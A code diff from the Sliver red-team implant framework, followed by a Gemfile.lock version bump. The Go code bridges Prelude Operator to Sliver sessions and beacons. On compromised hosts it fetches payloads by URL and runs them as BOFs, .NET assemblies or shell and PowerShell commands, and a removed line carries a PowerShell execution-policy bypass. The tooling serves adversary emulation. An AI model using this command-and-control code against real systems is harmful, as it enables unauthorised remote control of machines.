if onFinishCallback != nil {
|
||||
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
|
||||
return
|
||||
}
|
||||
|
||||
if extResp.Response != nil && extResp.Response.Err != "" {
|
||||
err = errors.New(extResp.Response.Err)
|
||||
}
|
||||
@@ -104,16 +129,16 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
|
||||
return
|
||||
}
|
||||
|
||||
func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
|
||||
func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
|
||||
var coffLoaderPath string
|
||||
|
||||
switch session.Arch {
|
||||
switch implant.GetArch() {
|
||||
case "amd64":
|
||||
coffLoaderPath = "COFFLoader.x64.dll"
|
||||
case "386":
|
||||
coffLoaderPath = "COFFLoader.x86.dll"
|
||||
}
|
||||
loaderPath := path.Join(assets.GetExtensionsDir(), "windows", session.Arch, coffLoaderPath)
|
||||
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
|
||||
loaderData, err := ioutil.ReadFile(loaderPath)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -121,9 +146,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
|
||||
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: coffLoaderName,
|
||||
Data: loaderData,
|
||||
OS: session.OS,
|
||||
OS: implant.GetOS(),
|
||||
Init: "",
|
||||
Request: MakeRequest(session),
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -134,9 +159,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
|
||||
return nil
|
||||
}
|
||||
|
||||
func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
|
||||
func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
|
||||
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: MakeRequest(session),
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
if err != nil {
|
||||
return false
|
||||
|
||||
@@ -0,0 +1,206 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
delim = "\r\n"
|
||||
)
|
||||
|
||||
// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
|
||||
// to a Prelude Operator implant with a TCP transport.
|
||||
type OperatorImplantBridge struct {
|
||||
Conn *net.Conn
|
||||
Implant ActiveImplant
|
||||
RPC rpcpb.SliverRPCClient
|
||||
PBeacon OperatorBeacon
|
||||
BeaconCallback func(string, func(*clientpb.BeaconTask))
|
||||
Config AgentConfig
|
||||
|
||||
recv chan []byte
|
||||
send chan []byte
|
||||
}
|
||||
|
||||
func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
|
||||
return &OperatorImplantBridge{
|
||||
Conn: c,
|
||||
Implant: a,
|
||||
RPC: rpc,
|
||||
Config: conf,
|
||||
BeaconCallback: callback,
|
||||
PBeacon: pbeacon,
|
||||
recv: make(chan []byte),
|
||||
send: make(chan []byte),
|
||||
}
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) register() {
|
||||
data, err := json.Marshal(a.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) ReceiveLoop() {
|
||||
a.register()
|
||||
go func() {
|
||||
for {
|
||||
data := <-a.send
|
||||
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
time.Sleep(time.Duration(a.PBeacon.Sleep))
|
||||
}
|
||||
}()
|
||||
for {
|
||||
scanner := bufio.NewScanner(*a.Conn)
|
||||
for scanner.Scan() {
|
||||
msg := strings.TrimSpace(scanner.Text())
|
||||
a.handleMessage(msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) handleMessage(message string) {
|
||||
var tempBeacon OperatorBeacon
|
||||
decoded, err := hex.DecodeString(message)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err := json.Unmarshal(util.Decrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
|
||||
a.PBeacon.Links = a.PBeacon.Links[:0]
|
||||
a.runLinks(&tempBeacon)
|
||||
}
|
||||
}
|
||||
|
||||
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
|
||||
for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
|
||||
time.Sleep(time.Second * 1)
|
||||
var payload []byte
|
||||
if link.Payload != "" {
|
||||
payload, _ = requestPayload(link.Payload)
|
||||
}
|
||||
|
||||
// If we're running on a Beacon
|
||||
if implantBridge.BeaconCallback != nil {
|
||||
RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
|
||||
implantBridge.Config.EndInstruction(link)
|
||||
implantBridge.refreshBeacon()
|
||||
data, err := json.Marshal(implantBridge.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
implantBridge.send <- data
|
||||
})
|
||||
return
|
||||
}
|
||||
// Running on a Session
|
||||
response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
|
||||
implantBridge.Config.EndInstruction(link)
|
||||
implantBridge.refreshBeacon()
|
||||
data, err := json.Marshal(implantBridge.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
implantBridge.send <- data
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func requestPayload(target string) ([]byte, error) {
|
||||
resp, err := http.Get(target)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
|
||||
}
|
||||
return ioutil.ReadAll(resp.Body)
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) refreshBeacon() {
|
||||
var pwd string
|
||||
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a.Implant),
|
||||
})
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
a.PBeacon.Sleep = a.Config.Sleep
|
||||
a.PBeacon.Range = a.Config.Range
|
||||
a.PBeacon.Pwd = pwd
|
||||
a.PBeacon.Target = a.Config.Address
|
||||
a.PBeacon.Executing = a.Config.BuildExecutingHash()
|
||||
|
||||
}
|
||||
|
||||
func MakeRequest(a ActiveImplant) *commonpb.Request {
|
||||
timeout := int64(defaultTimeout)
|
||||
req := &commonpb.Request{
|
||||
Timeout: timeout,
|
||||
}
|
||||
if a == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
beacon, ok := a.(*clientpb.Beacon)
|
||||
if ok {
|
||||
req.BeaconID = beacon.ID
|
||||
req.Async = true
|
||||
return req
|
||||
}
|
||||
session, ok := a.(*clientpb.Session)
|
||||
if ok {
|
||||
req.SessionID = session.ID
|
||||
req.Async = false
|
||||
return req
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
+53
-14
@@ -2,7 +2,7 @@ package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -24,11 +24,13 @@ import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
//RunCommand executes a given command
|
||||
func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
|
||||
func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
|
||||
switch executor {
|
||||
case "keyword":
|
||||
task := splitMessage(message, '.')
|
||||
@@ -46,7 +48,25 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
|
||||
if payload == nil {
|
||||
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
|
||||
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, 0
|
||||
case "execute-assembly":
|
||||
if len(task) < 2 {
|
||||
break
|
||||
}
|
||||
var eaargs execasmArgs
|
||||
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
|
||||
err := json.Unmarshal([]byte(argStr), &eaargs)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
if payload == nil {
|
||||
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
@@ -57,30 +77,47 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
|
||||
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
default:
|
||||
bites, status, pid := execute(message, executor, agentSession)
|
||||
bites, status, pid := execute(message, executor, agentSession, onFinish)
|
||||
return string(bites), status, pid
|
||||
}
|
||||
return "", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
|
||||
func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
|
||||
func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
|
||||
args := append(getCmdArg(executor), cmd)
|
||||
if executor == "psh" {
|
||||
executor = "powershell.exe"
|
||||
} else if executor == "exec" {
|
||||
commandSections := strings.Fields(cmd)
|
||||
executor = commandSections[0]
|
||||
args = commandSections[1:]
|
||||
}
|
||||
execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Path: executor,
|
||||
Args: args,
|
||||
Output: true,
|
||||
Request: MakeRequest(agentSession.Session),
|
||||
Request: MakeRequest(implantBridge.Implant),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
|
||||
return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
|
||||
}
|
||||
|
||||
// Beacon
|
||||
if execResp.Response != nil && execResp.Response.Async {
|
||||
implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execResp)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
|
||||
})
|
||||
return "", 0, 0
|
||||
}
|
||||
|
||||
// Session
|
||||
if execResp.Response != nil && execResp.Response.Err != "" {
|
||||
return execResp.Response.Err, 0, 0
|
||||
return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
|
||||
}
|
||||
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
|
||||
}
|
||||
@@ -89,9 +126,11 @@ func getCmdArg(executor string) []string {
|
||||
var args []string
|
||||
switch executor {
|
||||
case "cmd":
|
||||
args = []string{"/C", "/S"}
|
||||
args = []string{"/S", "/C"}
|
||||
case "powershell", "psh":
|
||||
args = []string{"-execu", "ByPasS", "-C"}
|
||||
args = []string{"-execu", "-C"}
|
||||
case "exec":
|
||||
args = []string{}
|
||||
case "sh", "bash", "zsh":
|
||||
args = []string{"-c"}
|
||||
}
|
||||
@@ -109,13 +148,13 @@ func splitMessage(message string, splitRune rune) []string {
|
||||
return values
|
||||
}
|
||||
|
||||
func shutdown(agentSession *AgentSession) (string, int, int) {
|
||||
func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
|
||||
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Force: false,
|
||||
Request: MakeRequest(agentSession.Session),
|
||||
Request: MakeRequest(agentSession.Implant),
|
||||
})
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
|
||||
return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
|
||||
}
|
||||
@@ -2,7 +2,7 @@ package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -32,7 +32,7 @@ const (
|
||||
|
||||
type Configuration interface {
|
||||
ApplyConfig(ac map[string]interface{})
|
||||
BuildBeacon() Beacon
|
||||
BuildBeacon() OperatorBeacon
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
@@ -52,7 +52,7 @@ type AgentConfig struct {
|
||||
Executing map[string]Instruction
|
||||
}
|
||||
|
||||
type Beacon struct {
|
||||
type OperatorBeacon struct {
|
||||
Name string
|
||||
Target string
|
||||
Hostname string
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
type execasmArgs struct {
|
||||
IsDLL bool `json:"isDLL"`
|
||||
Process string `json:"process"`
|
||||
Arguments string `json:"arguments"`
|
||||
Architecture string `json:"architecture"`
|
||||
Method string `json:"method"`
|
||||
Class string `json:"class"`
|
||||
AppDomain string `json:"appDomain"`
|
||||
}
|
||||
|
||||
func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
|
||||
extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: MakeRequest(implant),
|
||||
IsDLL: args.IsDLL,
|
||||
Process: args.Process,
|
||||
Arguments: args.Arguments,
|
||||
Assembly: asm,
|
||||
Arch: args.Architecture,
|
||||
Method: args.Method,
|
||||
ClassName: args.Class,
|
||||
AppDomain: args.AppDomain,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// If Async req, onFinishCallback won't be nil
|
||||
if onFinishCallback != nil {
|
||||
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
|
||||
return
|
||||
}
|
||||
|
||||
if extResp.Response != nil && extResp.Response.Err != "" {
|
||||
err = errors.New(extResp.Response.Err)
|
||||
}
|
||||
output = string(extResp.Output)
|
||||
|
||||
return
|
||||
}
|
||||
+58
-42
@@ -2,7 +2,7 @@ package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -21,7 +21,6 @@ package prelude
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"sync"
|
||||
|
||||
@@ -31,7 +30,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SessionMapper *PreludeSessionMapper
|
||||
var ImplantMapper *OperatorImplantMapper
|
||||
|
||||
const defaultImplantSleep = 5
|
||||
|
||||
@@ -42,30 +41,45 @@ type OperatorConfig struct {
|
||||
AESKey string
|
||||
}
|
||||
|
||||
type PreludeSessionMapper struct {
|
||||
sessions []*AgentSession
|
||||
conf *OperatorConfig
|
||||
// OperatorImplantMapper maps an OperatorConfig with
|
||||
// active Sliver implant sessions/beacons
|
||||
type OperatorImplantMapper struct {
|
||||
implantBridges []*OperatorImplantBridge
|
||||
conf *OperatorConfig
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
|
||||
if SessionMapper == nil {
|
||||
SessionMapper = &PreludeSessionMapper{
|
||||
sessions: make([]*AgentSession, 0),
|
||||
conf: conf,
|
||||
}
|
||||
}
|
||||
return SessionMapper
|
||||
// ActiveImplant exposes common methods between
|
||||
// Sliver clientpb.Session and clientpb.Beacon
|
||||
// that are required by Operator implants
|
||||
type ActiveImplant interface {
|
||||
GetID() string
|
||||
GetHostname() string
|
||||
GetPID() int32
|
||||
GetOS() string
|
||||
GetArch() string
|
||||
GetFilename() string
|
||||
GetReconnectInterval() int64
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
|
||||
if ImplantMapper == nil {
|
||||
ImplantMapper = &OperatorImplantMapper{
|
||||
implantBridges: make([]*OperatorImplantBridge, 0),
|
||||
conf: conf,
|
||||
}
|
||||
}
|
||||
return ImplantMapper
|
||||
}
|
||||
|
||||
func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
|
||||
var pwd string
|
||||
conn, err := net.Dial("tcp", p.conf.OperatorURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(s),
|
||||
Request: MakeRequest(a),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -73,55 +87,57 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
// Operator implants have embedded static IDs, but we don't,
|
||||
// so to avoid having multiple sessions showing as one on the Operator
|
||||
// GUI, we need to have a unique name for them.
|
||||
// Plus, having the ID in the name will help the user to make the
|
||||
// correlation.
|
||||
sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
|
||||
beacon := Beacon{
|
||||
Name: sessName,
|
||||
|
||||
// Use a default sleep time for sessions,
|
||||
// but respect the one we have for beacons
|
||||
sleepTime := defaultImplantSleep
|
||||
if b, ok := a.(*clientpb.Beacon); ok {
|
||||
sleepTime = int(b.ReconnectInterval)
|
||||
}
|
||||
|
||||
beacon := OperatorBeacon{
|
||||
Name: a.GetID(),
|
||||
Target: p.conf.OperatorURL,
|
||||
Hostname: s.Hostname,
|
||||
Location: s.Filename,
|
||||
Platform: s.OS,
|
||||
Hostname: a.GetHostname(),
|
||||
Location: a.GetFilename(),
|
||||
Platform: a.GetOS(),
|
||||
Range: p.conf.Range,
|
||||
Executors: util.DetermineExecutors(s.OS, s.Arch),
|
||||
Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
|
||||
Links: make([]Instruction, 0),
|
||||
Executing: "",
|
||||
Pwd: pwd,
|
||||
Sleep: defaultImplantSleep,
|
||||
Sleep: int(sleepTime),
|
||||
}
|
||||
|
||||
if p.conf.AESKey == "" {
|
||||
return errors.New("missing AES key")
|
||||
}
|
||||
a.GetID()
|
||||
encryptionKey := p.conf.AESKey
|
||||
agentConfig := AgentConfig{
|
||||
Name: sessName,
|
||||
Name: a.GetID(),
|
||||
AESKey: encryptionKey,
|
||||
Range: p.conf.Range,
|
||||
Contact: "tcp",
|
||||
Address: p.conf.OperatorURL,
|
||||
Pid: int(s.PID),
|
||||
Pid: int(a.GetPID()),
|
||||
Executing: make(map[string]Instruction),
|
||||
Sleep: defaultImplantSleep,
|
||||
Sleep: int(sleepTime),
|
||||
}
|
||||
util.EncryptionKey = &agentConfig.AESKey
|
||||
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
|
||||
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
|
||||
p.Lock()
|
||||
p.sessions = append(p.sessions, agentSession)
|
||||
p.implantBridges = append(p.implantBridges, bridge)
|
||||
p.Unlock()
|
||||
go agentSession.ReceiveLoop()
|
||||
go bridge.ReceiveLoop()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
|
||||
func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
|
||||
p.Lock()
|
||||
for _, agentSession := range p.sessions {
|
||||
if agentSession.Session.ID == s.ID {
|
||||
if agentSession.Conn != nil {
|
||||
err = (*agentSession.Conn).Close()
|
||||
for _, bridge := range p.implantBridges {
|
||||
if bridge.Implant.GetID() == imp.GetID() {
|
||||
if bridge.Conn != nil {
|
||||
err = (*bridge.Conn).Close()
|
||||
} else {
|
||||
err = errors.New("connection is nil")
|
||||
}
|
||||
@@ -131,6 +147,6 @@ func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
|
||||
return err
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
|
||||
func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
|
||||
return p.conf
|
||||
}
|
||||
@@ -21,25 +21,23 @@ package util
|
||||
func DetermineExecutors(platform string, arch string) []string {
|
||||
platformExecutors := map[string]map[string][]string{
|
||||
"windows": {
|
||||
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
|
||||
"executor": {"pwsh", "psh", "cmd", "bof"},
|
||||
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
|
||||
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
|
||||
},
|
||||
"linux": {
|
||||
"file": {"python3", "pwsh", "sh", "bash"},
|
||||
"executor": {"python", "pwsh", "sh", "bash"},
|
||||
"file": {"python3", "sh", "bash"},
|
||||
"executor": {"python", "sh", "bash"},
|
||||
},
|
||||
"darwin": {
|
||||
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
|
||||
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
|
||||
"file": {"python3", "zsh", "sh", "osascript", "bash"},
|
||||
"executor": {"python", "zsh", "sh", "osa", "bash"},
|
||||
},
|
||||
}
|
||||
var executors []string
|
||||
for platformKey, platformValue := range platformExecutors {
|
||||
if platform == platformKey {
|
||||
for i := range platformValue["file"] {
|
||||
// if checkIfExecutorAvailable(platformValue["file"][i]) {
|
||||
executors = append(executors, platformExecutors[platformKey]["executor"][i])
|
||||
// }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+89
-83
@@ -1,7 +1,7 @@
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activesupport (6.0.4)
|
||||
activesupport (6.0.4.6)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 0.7, < 2)
|
||||
minitest (~> 5.1)
|
||||
@@ -14,48 +14,54 @@ GEM
|
||||
execjs
|
||||
coffee-script-source (1.11.1)
|
||||
colorator (1.1.0)
|
||||
commonmarker (0.17.13)
|
||||
ruby-enum (~> 0.5)
|
||||
commonmarker (0.23.4)
|
||||
concurrent-ruby (1.1.9)
|
||||
dnsruby (1.61.7)
|
||||
dnsruby (1.61.9)
|
||||
simpleidn (~> 0.1)
|
||||
em-websocket (0.5.2)
|
||||
em-websocket (0.5.3)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0.6.0)
|
||||
ethon (0.14.0)
|
||||
http_parser.rb (~> 0)
|
||||
ethon (0.15.0)
|
||||
ffi (>= 1.15.0)
|
||||
eventmachine (1.2.7)
|
||||
execjs (2.8.1)
|
||||
faraday (1.5.0)
|
||||
faraday (1.10.0)
|
||||
faraday-em_http (~> 1.0)
|
||||
faraday-em_synchrony (~> 1.0)
|
||||
faraday-excon (~> 1.1)
|
||||
faraday-httpclient (~> 1.0.1)
|
||||
faraday-httpclient (~> 1.0)
|
||||
faraday-multipart (~> 1.0)
|
||||
faraday-net_http (~> 1.0)
|
||||
faraday-net_http_persistent (~> 1.1)
|
||||
faraday-net_http_persistent (~> 1.0)
|
||||
faraday-patron (~> 1.0)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
faraday-rack (~> 1.0)
|
||||
faraday-retry (~> 1.0)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-em_http (1.0.0)
|
||||
faraday-em_synchrony (1.0.0)
|
||||
faraday-excon (1.1.0)
|
||||
faraday-httpclient (1.0.1)
|
||||
faraday-multipart (1.0.3)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
faraday-net_http (1.0.1)
|
||||
faraday-net_http_persistent (1.1.0)
|
||||
faraday-net_http_persistent (1.2.0)
|
||||
faraday-patron (1.0.0)
|
||||
ffi (1.15.3)
|
||||
faraday-rack (1.0.0)
|
||||
faraday-retry (1.0.3)
|
||||
ffi (1.15.5)
|
||||
forwardable-extended (2.6.0)
|
||||
gemoji (3.0.1)
|
||||
github-pages (215)
|
||||
github-pages-health-check (= 1.17.2)
|
||||
github-pages (225)
|
||||
github-pages-health-check (= 1.17.9)
|
||||
jekyll (= 3.9.0)
|
||||
jekyll-avatar (= 0.7.0)
|
||||
jekyll-coffeescript (= 1.1.1)
|
||||
jekyll-commonmark-ghpages (= 0.1.6)
|
||||
jekyll-commonmark-ghpages (= 0.2.0)
|
||||
jekyll-default-layout (= 0.1.4)
|
||||
jekyll-feed (= 0.15.1)
|
||||
jekyll-gist (= 1.5.0)
|
||||
jekyll-github-metadata (= 2.13.0)
|
||||
jekyll-include-cache (= 0.2.1)
|
||||
jekyll-mentions (= 1.6.0)
|
||||
jekyll-optional-front-matter (= 0.3.2)
|
||||
jekyll-paginate (= 1.1.0)
|
||||
@@ -64,22 +70,22 @@ GEM
|
||||
jekyll-relative-links (= 0.6.1)
|
||||
jekyll-remote-theme (= 0.4.3)
|
||||
jekyll-sass-converter (= 1.5.2)
|
||||
jekyll-seo-tag (= 2.7.1)
|
||||
jekyll-seo-tag (= 2.8.0)
|
||||
jekyll-sitemap (= 1.4.0)
|
||||
jekyll-swiss (= 1.0.0)
|
||||
jekyll-theme-architect (= 0.1.1)
|
||||
jekyll-theme-cayman (= 0.1.1)
|
||||
jekyll-theme-dinky (= 0.1.1)
|
||||
jekyll-theme-hacker (= 0.1.2)
|
||||
jekyll-theme-leap-day (= 0.1.1)
|
||||
jekyll-theme-merlot (= 0.1.1)
|
||||
jekyll-theme-midnight (= 0.1.1)
|
||||
jekyll-theme-minimal (= 0.1.1)
|
||||
jekyll-theme-modernist (= 0.1.1)
|
||||
jekyll-theme-primer (= 0.5.4)
|
||||
jekyll-theme-slate (= 0.1.1)
|
